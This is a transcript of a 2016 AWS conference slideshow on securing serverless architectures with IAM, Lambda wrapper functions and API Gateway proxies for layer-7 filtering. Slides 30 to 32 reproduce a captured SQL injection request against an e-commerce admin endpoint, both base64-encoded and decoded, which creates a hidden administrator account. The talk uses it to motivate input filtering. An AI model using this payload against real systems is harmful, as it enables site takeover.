Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

AWS re:Invent 2016: Securing Serverless Architectures, and API Filtering at Layer 7 (SAC310)

2,314 views

Published on

AWS serverless architecture components such as Amazon S3, Amazon SQS, Amazon SNS, CloudWatch Logs, DynamoDB, Amazon Kinesis, and Lambda can be tightly constrained in their operation. However, it may still be possible to use some of them to propagate payloads that could be used to exploit vulnerabilities in some consuming endpoints or user-generated code. This session explores techniques for enhancing the security of these services, from assessing and tightening permissions in IAM to integrating tools and mechanisms for inline and out-of-band payload analysis that are more typically applied to traditional server-based architectures.

Published in: Technology
  • Be the first to comment

AWS re:Invent 2016: Securing Serverless Architectures, and API Filtering at Layer 7 (SAC310)

  1. 1. © 2016, Amazon Web Services, Inc. or its Affiliates. All rights reserved. Dave Walker, AWS James Brown, Alert Logic November 30, 2016 SAC310 Securing Serverless Architectures and API Filtering at Layer 7
  2. 2. What to expect from the session • Serverless architectures: What they are • “Caveat emptor”? • Constraining access and permissions • Wrapping AWS Lambda functions • Amazon API Gateway and AWS service API endpoints • Generalizing across AWS services • Conclusions
  3. 3. Serverless architectures: What they are
  4. 4. Serverless architectures: What they are • “The shiny new thing” • …though Amazon S3 has been around for 10 years, now • “Object stores, object transmission and aggregation pipelines, object format transformers, standalone code execution systems” • Abstract (and sometimes container) services • AWS looks after the underlying OS, high availability, scaling, often application, transparently • Often event driven (Lambda triggers etc.) • “Customers only need to worry about their functionality”
  5. 5. Serverless AWS services AWS Certificate Manager AWS CodeCommit Amazon Elastic Transcoder AWS Service Catalog API Gateway AWS CodeDeploy AWS Identity and Access Management Amazon SES Amazon AppStream AWS CodePipeline AWS IoT Amazon S3 Auto Scaling Amazon Cognito Amazon Kinesis Amazon SNS AWS Billing and Cost Management AWS Config AWS KMS Amazon SQS AWS CloudFormation AWS Database Migration Service Lambda Amazon SWF Amazon CloudFront Amazon DynamoDB Amazon Machine Learning Amazon SimpleDB Amazon CloudSearch Amazon EFS AWS OpsWorks AWS WAF AWS CloudTrail AWS Elastic Beanstalk Amazon QuickSight Amazon WorkDocs Amazon CloudWatch Elastic Load Balancing Amazon Route 53 Amazon WorkMail
  6. 6. For example Internet Website Activity indicator Chat service Activity Messages Search service DynamoDB Streams Amazon Elasticsearch Service Web hosting Twilio Slack chat API Gateway AWS IoT Back-end logic
  7. 7. “Caveat emptor”?
  8. 8. “Everything starts with a threat model” • STRIDE, DREAD, others • Identify: • Actors • Vectors • “Bad stuff that could happen when bad people get creative” • Probabilities and consequences of bad stuff happening • Apply technical and procedural mitigations • All the way up the OSI stack, from network to application
  9. 9. Attack vectors • Application-level and API-level attacks • “If it takes input, it likely has an in-band attack vector” • “If it has a control point, it likely has an out-of-band attack vector” • “Even if it doesn’t itself have a useful compromise, it might be a useful propagation vector” • A successful attack = disruption or corruption of service output, or reduction in responsiveness to future service calls, or being a conduit of “bad content” to vulnerable consumers of the service • Consider the OWASP Top 10 and other application-level attacks
  10. 10. Control points and out-of-band attacks • Everything in our list has an API endpoint • API endpoints are exposed to the Internet over HTTPS, using TLS 1.2 and unidirectional trust via s2n • API endpoints are scaled, rate-managed, and connection- monitored • API endpoint calls need Signature Version 4 • SHA256 HMAC with secret access key (240-bit entropic) over REST or Query request • REST and Query calls are checked for formation correctness • Looking pretty well-covered
  11. 11. In-band attacks There are more variables here; consider access methods and content sizes: Service Lambda method Input Amazon S3 Push Arbitrary size DynamoDB Pull 400 K per record Amazon Kinesis Pull 1 MB per blob per shard per second Amazon SNS Push 256 K per message Amazon SES Push 10 MB per message (base64 encoded) Amazon SQS 256 K per message Amazon Elasticsearch Service 1 MB per document AWS CodeCommit 6 MB per object / tag / tree Amazon Cognito Max 20 MB per identity Amazon WorkMail Max 25 MB per message Amazon CloudWatch Logs Push Max 1048576 bytes per batch
  12. 12. Constraining permissions
  13. 13. IAM is your first port of call • Quickest and highly effective way to reduce risk of serverless “misbehavior” at data level • All API access should be role based • Roles can be given to EC2 instances and Lambda functions • Roles use ephemeral AWS STS tokens rather than static keys • Reduces consequences of static key mishandling, no motivation to hard-wire into code • Cross-account access gets close to Mandatory Access Control • See video of presentation from UK Security Roadshow: https://youtu.be/CNSaJs7pWjA
  14. 14. IAM is your first port of call • API calls can be constrained in IAM by source IP address (mostly – but see later) • Get the AWS range from https://ip- ranges.amazonaws.com/ip-ranges.json • We could use this later to ensure that only our wrapper functions can call our main Lambda functions or the real API endpoints • Also, verify when permissions were last used • See https://blogs.aws.amazon.com/security/post/Tx280RX2WH6 WUD7/Remove-Unnecessary-Permissions-in-Your-IAM- Policies-by-Using-Service-Last-Access
  15. 15. Wrapping Lambda functions
  16. 16. Let’s start with Lambda Why it’s a great test case • It can take input from (almost) anywhere • It can do (almost) anything with that input, given appropriate permissions • It can output (almost) anything to (almost) anywhere • Customers have control over what happens between input and output
  17. 17. Let’s start with Lambda Why it’s a great test case • It can take input from (almost) anywhere • It can do (almost) anything with that input, given appropriate permissions • It can output (almost) anything to (almost) anywhere • Customers have control over what happens between input and output “You can write insecure code in any language (including Node.js, Java, Python, and anything you can call from them…)”
  18. 18. Security rule # 1
  19. 19. Security rule # 1 Sanitize user input
  20. 20. Wrapping Lambda functions S3 Bucket AWS Lambda API endpoint
  21. 21. Wrapping Lambda functions S3 Bucket AWS Lambda AWS Lambda AWS LambdaAmazon API Gateway New “back end” New “front end” Our original functionTrigger event source API endpoint
  22. 22. Wrapping Lambda functions S3 Bucket Amazon API Gateway 1. Event triggers wrapper API endpoint AWS Lambda AWS Lambda AWS Lambda
  23. 23. Wrapping Lambda functions S3 Bucket Amazon API Gateway 1. Event triggers wrapper 2. Wrapper passes trigger data to analyzer API endpoint AWS Lambda AWS Lambda AWS Lambda
  24. 24. Wrapping Lambda functions S3 Bucket Amazon API Gateway 3. Analyzer reads data 1. Event triggers wrapper 2. Wrapper passes trigger data to analyzer API endpoint AWS Lambda AWS Lambda AWS Lambda
  25. 25. Wrapping Lambda functions S3 Bucket Amazon API Gateway 3. Analyzer reads data 1. Event triggers wrapper 2. Wrapper passes trigger data to analyzer 4. Wrapper invokes function API endpoint AWS Lambda AWS Lambda AWS Lambda
  26. 26. Wrapping Lambda functions S3 Bucket Amazon API Gateway 5. Function reads data and processes as normal 3. Analyzer reads data 1. Event triggers wrapper 2. Wrapper passes trigger data to analyzer 4. Wrapper invokes function API endpoint AWS Lambda AWS Lambda AWS Lambda
  27. 27. Considerations Sync vs async Machine learning Malware XSS / SQLi
  28. 28. SQLi? Seriously??? In 2016???
  29. 29. SQLi? Seriously??? In 2016??? Generic SQLi 39%
  30. 30. POST /admin/Cms_Wysiwyg/directive/index/ HTTP/1.1 Host: 127.0.1.1 Content-Length: 999 Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate, compress Accept: */* User-Agent: python-requests/2.2.1 CPython/2.7.6 Linux/3.13.0-32-generic filter=cG9wdWxhcml0eVtmcm9tXT0wJnBvcHVsYXJpdHlbdG9dPTMmcG9wdWxhcml0eVtmaWVsZF9l eHByXT0wKTtTRVQgQFNBTFQgPSAncnAnO1NFVCBAUEFTUyA9IENPTkNBVChNRDUoQ09OQ0FUKCBAU0F MVCAsICdmb3JtZScpICksIENPTkNBVCgnOicsIEBTQUxUICkpO1NFTEVDVCBARVhUUkEgOj0gTUFYKG V4dHJhKSBGUk9NIGFkbWluX3VzZXIgV0hFUkUgZXh0cmEgSVMgTk9UIE5VTEw7SU5TRVJUIElOVE8gY GFkbWluX3VzZXJgIChgZmlyc3RuYW1lYCwgYGxhc3RuYW1lYCxgZW1haWxgLGB1c2VybmFtZWAsYHBh c3N3b3JkYCxgY3JlYXRlZGAsYGxvZ251bWAsYHJlbG9hZF9hY2xfZmxhZ2AsYGlzX2FjdGl2ZWAsYGV 4dHJhYCxgcnBfdG9rZW5gLGBycF90b2tlbl9jcmVhdGVkX2F0YCkgVkFMVUVTICgnRmlyc3RuYW1lJy wnTGFzdG5hbWUnLCdlbWFpbEBleGFtcGxlLmNvbScsJ2Zvcm1lJyxAUEFTUyxOT1coKSwwLDAsMSxAR VhUUkEsTlVMTCwgTk9XKCkpO0lOU0VSVCBJTlRPIGBhZG1pbl9yb2xlYCAocGFyZW50X2lkLHRyZWVf bGV2ZWwsc29ydF9vcmRlcixyb2xlX3R5cGUsdXNlcl9pZCxyb2xlX25hbWUpIFZBTFVFUyAoMSwyLDA sJ1UnLChTRUxFQ1QgdXNlcl9pZCBGUk9NIGFkbWluX3VzZXIgV0hFUkUgdXNlcm5hbWUgPSAnZm9ybW UnKSwnRmlyc3RuYW1lJyk7&___directive=e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2V hcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ&forwarded=1
  31. 31. POST /admin/Cms_Wysiwyg/directive/index/ HTTP/1.1 Host: 127.0.1.1 Content-Length: 999 Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate, compress Accept: */* User-Agent: python-requests/2.2.1 CPython/2.7.6 Linux/3.13.0-32-generic filter=cG9wdWxhcml0eVtmcm9tXT0wJnBvcHVsYXJpdHlbdG9dPTMmcG9wdWxhcml0eVtmaWVsZF9l eHByXT0wKTtTRVQgQFNBTFQgPSAncnAnO1NFVCBAUEFTUyA9IENPTkNBVChNRDUoQ09OQ0FUKCBAU0F MVCAsICdmb3JtZScpICksIENPTkNBVCgnOicsIEBTQUxUICkpO1NFTEVDVCBARVhUUkEgOj0gTUFYKG V4dHJhKSBGUk9NIGFkbWluX3VzZXIgV0hFUkUgZXh0cmEgSVMgTk9UIE5VTEw7SU5TRVJUIElOVE8gY GFkbWluX3VzZXJgIChgZmlyc3RuYW1lYCwgYGxhc3RuYW1lYCxgZW1haWxgLGB1c2VybmFtZWAsYHBh c3N3b3JkYCxgY3JlYXRlZGAsYGxvZ251bWAsYHJlbG9hZF9hY2xfZmxhZ2AsYGlzX2FjdGl2ZWAsYGV 4dHJhYCxgcnBfdG9rZW5gLGBycF90b2tlbl9jcmVhdGVkX2F0YCkgVkFMVUVTICgnRmlyc3RuYW1lJy wnTGFzdG5hbWUnLCdlbWFpbEBleGFtcGxlLmNvbScsJ2Zvcm1lJyxAUEFTUyxOT1coKSwwLDAsMSxAR VhUUkEsTlVMTCwgTk9XKCkpO0lOU0VSVCBJTlRPIGBhZG1pbl9yb2xlYCAocGFyZW50X2lkLHRyZWVf bGV2ZWwsc29ydF9vcmRlcixyb2xlX3R5cGUsdXNlcl9pZCxyb2xlX25hbWUpIFZBTFVFUyAoMSwyLDA sJ1UnLChTRUxFQ1QgdXNlcl9pZCBGUk9NIGFkbWluX3VzZXIgV0hFUkUgdXNlcm5hbWUgPSAnZm9ybW UnKSwnRmlyc3RuYW1lJyk7&___directive=e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2V hcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ&forwarded=1
  32. 32. popularity[from]=0&popularity[to]=3&popularity[field_expr]=0); SET @SALT = 'rp'; SET @PASS = CONCAT(MD5(CONCAT( @SALT , 'forme') ), CONCAT(':', @SALT )); SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL; INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,` is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','email@example.com','forme',@PASS,NOW(),0,0,1,@EXTRA,NU LL, NOW()); INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = 'forme'),'Firstname');
  33. 33. Wrapping Lambda functions JavaScript login page Lambda wrapper function AWS Lambda 1. User submits user name/password 3. Wrapper passes data to SQLi analyzer 4. Wrapper invokes function RDS DB instance Amazon Cognito 2. Login page passes input to Lambda function 5. Validate computed hash 6. Get token from Amazon Cognito
  34. 34. Lambda wrapper
  35. 35. Result with successful login
  36. 36. Result with SQLi attempt
  37. 37. API Gateway and proxying AWS API endpoints
  38. 38. API Gateway and API endpoints S3 Bucket Amazon API Gateway New “back end” API endpoint AWS Lambda AWS Lambda AWS Lambda
  39. 39. API Gateway and API endpoints • Consider deploying API Gateway as a protective proxy onto the main AWS API endpoints • Can rate-limit calling frequency • Can have back-end Lambda functions on each of REST GET, PUT, POST, PATCH, DELETE, HEAD, OPTIONS to check call content • Supports Signature Version 4  and generates logs • So we have a back-end wrapper function  • …But we need to make API Gateway the target(s) for calls to API endpoints, in our main Lambda function… • Easy!
  40. 40. Endpoint mappings in boto and Java SDK { "autoscaling": { "ap-northeast-1": "autoscaling.ap-northeast-1.amazonaws.com", "ap-northeast-2": "autoscaling.ap-northeast-2.amazonaws.com", "ap-southeast-1": "autoscaling.ap-southeast-1.amazonaws.com", "ap-southeast-2": "autoscaling.ap-southeast-2.amazonaws.com", "cn-north-1": "autoscaling.cn-north-1.amazonaws.com.cn", "eu-central-1": "autoscaling.eu-central-1.amazonaws.com", "eu-west-1": "autoscaling.eu-west-1.amazonaws.com", "sa-east-1": "autoscaling.sa-east-1.amazonaws.com", "us-east-1": "autoscaling.us-east-1.amazonaws.com", "us-gov-west-1": "autoscaling.us-gov-west-1.amazonaws.com", "us-west-1": "autoscaling.us-west-1.amazonaws.com", "us-west-2": "autoscaling.us-west-2.amazonaws.com" },
  41. 41. Proxying an AWS API endpoint • Hack the in-environment SDK for your own main Lambda function! • Two-stage function needed, in the execution context 1. Verify that the endpoints as defined in the SDK are your own API gateways rather than the AWS API endpoints; set them if not 2. Invoke the actual “doing stuff” function
  42. 42. Generalizing across AWS services
  43. 43. AWS IAM AWS Lambda Amazon API Gateway API endpoint Role <Resources> Base proxy architecture
  44. 44. AWS IAM API endpoint { "autoscaling": { "ap-northeast-1": "autoscaling.ap-northeast-1.amazonaws.com", "ap-northeast-2": "autoscaling.ap-northeast-2.amazonaws.com", "ap-southeast-1": "autoscaling.ap-southeast-1.amazonaws.com", "ap-southeast-2": "autoscaling.ap-southeast-2.amazonaws.com", (etc) • boto/boto/endpoints.json and aws-java-sdk- core/src/main/resources/com/amazonaws/partitions/endpoints.json looks like: • Hack your client's own SDK! • Remap API endpoint FQDNs to your API gateways • API Gateway standard HTTPS certs are also rooted in amazonaws.com • Cert pinning in clients and their SDKs therefore shouldn't be a problem Base proxy architecture AWS Lambda Amazon API Gateway Role <Resources>
  45. 45. AWS IAM API endpoint Sigv4 / HTTPS / tls1.2 • Set API Gateway up to use Signature Version 4 • (It's pretending to be an API endpoint, after all) Base proxy architecture AWS Lambda Amazon API Gateway Role <Resources>
  46. 46. AWS IAM API endpoint • RESTful GET / POST (Amazon S3 and a few others) • or GET <query URL> • Pass query URLs to Lambda function unmodified for decomposition and analysis there • Modify RESTful GETs / POSTs as little as possible Base proxy architecture AWS Lambda Amazon API Gateway Role <Resources>
  47. 47. AWS IAM API endpoint HTTPS • Set API Gateway to use HTTPS to invoke Lambda function and pass data Base proxy architecture AWS Lambda Amazon API Gateway Role <Resources>
  48. 48. AWS IAM API endpoint • "Do something interesting, as programmed" • ...or reframe the API call as a new Signature Version 4 call coming from the Lambda function, targeting the resource account, and send it to an appropriate real API endpoint • Note that responses coming from the API endpoint need to be reframed with the correct account ID before being returned to the client • This also has interesting implications  but let's not get ahead of ourselves  Base proxy architecture AWS Lambda Amazon API Gateway Role <Resources>
  49. 49. AWS IAM API endpoint • Cross-account role from resource account • Expected to typically be "most permissions for a given service, commensurate with the real API endpoint we're fronting" Base proxy architecture AWS Lambda Amazon API Gateway Role <Resources>
  50. 50. AWS IAM API endpoint Sigv4 / HTTPS / tls1.2 Base proxy architecture • Lambda function makes Signature Version 4 call to AWS API endpoint in the identity of its role AWS Lambda Amazon API Gateway Role <Resources>
  51. 51. AWS IAM API endpoint • IAM policy assigns relevant permissions to Lambda function role • IAM permissions in resource account are NOT given to any actual clients or their users • (... Can you tell where I'm heading, yet?) Base proxy architecture AWS Lambda Amazon API Gateway Role <Resources>
  52. 52. AWS IAM API endpoint • If input is a query URL, make copy and decompose (such as Python urlparse) • Compare against "exceptional actions" (in a great big case / break construct with appropriate Boolean bits; this is how policy gets encoded) • If no "exceptional action," reframe as Signature Version 4 request from the Lambda function to the resource account, and submit to actual API endpoint for resources account using cross-account role • Otherwise "do something interesting, as programmed" (such as throw an error indicating breach of policy) as an "exceptional action" • Example: "aws ec2 create-volume" without a "key" argument returns "401: A nonencrypted EBS volume? That would be a breach of our policy!" Interesting uses #1: “Pre-emptive Config rules” AWS Lambda Amazon API Gateway Role <Resources>
  53. 53. AWS IAM API endpoint • Not all AWS service-calling mechanisms support IAM conditions based on API call source IP address today • See http://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_examples.html • Filtering on source IP in a Lambda function enables such filtering on services that don’t currently support this • As the Lambda function calls the actual AWS API endpoint with a role that isn’t assigned to any human users, no source IP check on the Lambda function is actually necessary against the actual call to the resource-affecting API Interesting uses #2: “Add source IP restrictions” AWS Lambda Amazon API Gateway Role <Resources>
  54. 54. AWS IAM API endpoint • Automagically offload payload crypto for SQS, etc. • Lambda function role requires a cross-account encrypt grant on a KMS key • Consuming endpoint needs to be able to support a role (or have its data be consumed by an entity that does) and be able to make a decrypt call to KMS in accordance with the policy AWSKMS Data encryption key Amazon SQS Instance Role Interesting uses #3: “Crypto offload for SQS etc.” AWS Lambda Amazon API Gateway Role
  55. 55. AWS IAM API endpoint Amazon SQS • Signed action preapproval messages go onto an SQS queue • Tuples of approver signature, approved actor (can be wildcarded), approved action (wildcardable, can be full explicit query URL), optional time window of permissibility • Actor can have approval for the action in IAM but Lambda function can still block and raise error if appropriate approver message not found on the queue • Lambda function searches the queue, allows calls if a preapproval message exists (and consumes the message), returns a 401 if not Interesting uses #4: “AWS API workflow approvals” AWS Lambda Amazon API Gateway Role <Resources>
  56. 56. AWS IAM API endpoint Third-party "badness analyzer" • Automagically scan payloads for SQS and other inline content for potential malware • See "antimalware" clause in UK Government "Cyber Essentials" and other standards that various customers are mandated to comply with Interesting uses #5: “WAF for the AWS API” AWS Lambda Amazon API Gateway Role <Resources>
  57. 57. Services with Lambda trigger support • Config • CloudWatch • S3 • DynamoDB • Amazon Kinesis • SNS • SES • Amazon Cognito • CloudFormation
  58. 58. Conclusions
  59. 59. Threats and mitigations • IAM is your first port of call for limiting API calls and their scope • Cross-account access can also be useful here • API endpoints are well protected, but API gateways can add hooks for further protection at Layer 7 to any service • though they’re most applicable to serverless ones • Lambda functions can provide useful wrap / tap / inspection / filter hook points and horizon-splits for queues, pipelines – and other Lambda functions
  60. 60. Extending IAM and other services’ filtering • Proxying AWS API endpoints with API gateways allows for richer control and filtering options • Fine-grained API call accept / reject • API caller-transparent message body crypto offload • API caller-transparent badness filtering on payloads • Workflow-based call preapproval filtering • Anything else a Turing-powerful language can call or do, when given appropriate AWS permissions • (provided it can do it in <30 seconds) • Try it out, and please let us know about further use cases!
  61. 61. “One more thing” (…and work in progress)
  62. 62. Food for thought? • Full disclosure: I ❤️ Mandatory Access Control • Mandatory Access Control = (among other things, including immutability and constraint of visibility of policy) no, or a tightly constrained and far less privileged, root user • Glacier vault lock = first in-AWS-account MAC feature • How can we constrain or remove root on an AWS account, properly? • There are customers who want this (govt. depts., banks) • Not fully achievable without IAM engineering • We can already put root beyond use with MFA, but it’s still “findable” • Could we change this and completely mask an account?
  63. 63. Food for thought? • We can mask PII in CloudTrail logs • Bertram Dorn has a Lambda function for it • Originally intended as a proposal to address considerations in upcoming German privacy law • Can be generalized to other consistent AWS log formats
  64. 64. Food for thought? • Modify it to mask AWS account IDs in: • CloudTrail logs • Billing records • ELB, CloudFront, Amazon VPC flow log, etc. records • ARNs in general (as API proxy calls are made to the proxy account, rather than the resource account) • …? • If we also nest our API proxies, we can do this:
  65. 65. AWS account: resources AWS account: abstraction, filtering and aggregation AWS account: front end AWS Lambda Amazon API Gateway Amazon API Gateway AWS Lambda Amazon API Gateway AWS Lambda AWS Account: log aggregation and anonymization AWS account: front-end API Endpoints AWS Lambda Role Bucket Bucket AWS account: anonymized logs AWS Lambda Bucket AWS account: bill aggregation and anonymization Bucket AWS account: anonymized bills Role Role Role Role
  66. 66. Food for thought? • Only users with profiles in accounts inside the red oval, get visibility of the actual resource account’s ID • By assigning the permissions in the roles of the Lambda functions running in the front-end account(s), the abstraction, filtering, and aggregation account defines the maximum set of permissions over the resource account that each front-end account can assign to its users • ...and this policy isn’t exposed to the front-end accounts
  67. 67. Food for thought? • This gives mandatory access control over the resource account’s AWS API • It generalizes across all APIs and API endpoints (in general public regions) • QED • (subject to the closure of 1 “gap”  an EC2 instance can get account ID info from the metadata service; this is the bit which is “in progress”…)
  68. 68. Thank you!
  69. 69. Credits and thanks • Bertram Dorn, AWS specialist SA: Log filtering invention and Lambda function, workflow approval invention • The API Gateway and Lambda service teams: “Building the blocks” • The Glacier vault lock and S3 teams: Proving Mandatory Access Control can be done in AWS
  70. 70. Remember to complete your evaluations!
  71. 71. Related sessions

×